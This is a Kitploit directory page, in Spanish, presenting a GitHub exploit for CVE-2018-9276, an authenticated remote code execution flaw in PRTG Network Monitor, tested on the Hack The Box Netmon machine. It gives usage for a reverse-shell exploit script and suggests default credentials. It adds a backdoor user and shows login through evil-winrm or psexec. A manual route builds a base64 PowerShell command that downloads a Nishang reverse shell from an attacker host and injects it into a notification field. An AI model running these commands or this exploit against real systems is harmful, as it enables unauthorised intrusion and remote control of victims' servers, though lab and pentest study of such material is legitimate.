Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2018-9276 — CVE-2018-9276 PRTG < 18.2.39 Shell inversa (soporte Python3) | Kitploit
Herramientas/GitHubGitHub/alvinsmith-eroad/cve-2018-9276
Generación de PayloadsExplotaciónMovimiento LateralExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubalvinsmith-eroad/cve-2018-9276

CVE-2018-9276

CVE-2018-9276 PRTG < 18.2.39 Shell inversa (soporte Python3)

Ver Repositorio
2hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2018-9276

CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (soporte Python3)

Dependencias

  • Impacket (versión python3)
  • Netcat
  • Msfvenom

Uso

root@kitploit:~
git clone https://github.com/A1vinSmith/CVE-2018-9276.git

./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass
  1. Se necesitan las credenciales para realizar el exploit. Prueba con las credenciales por defecto prtgadmin:prtgadmin. Y puede valer la pena revisar la base de datos o el registro para obtenerlas. https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data
  2. Prueba --lport 445 si el puerto no está ocupado
  3. Hay algunos comentarios extraños en el código. Puede que necesiten algunas modificaciones.
  4. Puede que se necesiten algunos intentos para tener éxito. Reiniciar la máquina objetivo siempre es una buena opción. Especialmente cuando tu payload causa algún impacto.

Cobertura de pruebas

Máquina Netmon de HTB

root@kitploit:~
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00376-30821-30176-AA362
Original Install Date:     2/3/2019, 7:05:45 AM
System Boot Time:          7/28/2021, 9:02:41 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC

Crédito

Un gran agradecimiento por la versión python2 de wildkindcc https://github.com/wildkindcc/CVE-2018-9276

Ampliar conocimientos

Usando Metasploit

https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/

Ejecución remota de código

https://www.exploit-db.com/exploits/46527

https://github.com/chcx/PRTG-Network-Monitor-RCE

Ejemplo de uso

Se necesitan las credenciales para realizar el exploit. Primero inicia sesión y obtén la cookie autenticada para añadir un nuevo usuario.

root@kitploit:~
./prtg-exploit.sh -u http://10.10.10.10 -c "OCTOPUS1813713946=XXX"

// Login as the new user via evil-winrm
evil-winrm -i 10.10.10.10 -u pentest -p 'P3nT3st!'
// or alternative psexec.py
python3 /path/etc/impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.10

Screen Shot 2021-07-29 at 3 14 10 PM

Explotación manual avanzada sin añadir un nuevo usuario

Crédito al writeup oficial de HTB
POC: https://www.codewatch.org/blog/?p=453 Además, usar SMB para obtener una reverse shell https://github.com/A1vinSmith/OSCP-PWK/wiki/Samba-SMB

En caso de que no queramos añadir un usuario, para una mejor OPSEC podemos obtener una reverse shell. Sin embargo, debido a la codificación HTML, muchos caracteres se codifican. Podemos evitarlo usando la ejecución de PowerShell con base64. Necesitamos crear un comando codificado en base64. No obstante, debe estar en la codificación que usa Windows, es decir, UTF-16LE

root@kitploit:~
❯ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.10.100/Invoke-PowerShellTcp.ps1' )" | iconv -t UTF-16LE | base64 -w0

SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA= 

Usamos iconv para convertirlo a la codificación objetivo y ejecutaremos esta reverse shell de Nishang. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Descarga el script y añade el comando con echo a la última línea.

root@kitploit:~
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.100 -Port 4444' >> Invoke-PowerShellTcp.ps1

Ahora inicia un servidor HTTP simple y crea una nueva notificación

root@kitploit:~
python3 -m http.server 80

Haz clic en Setup > Account Settings > Notifications -> haz clic en “Add new notification” en el extremo derecho Activa la notificación haciendo clic en el botón de la campana

root@kitploit:~
abc.txt | powershell -enc SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA= 

Screen Shot 2021-07-29 at 4 08 01 PM

Descargar herramienta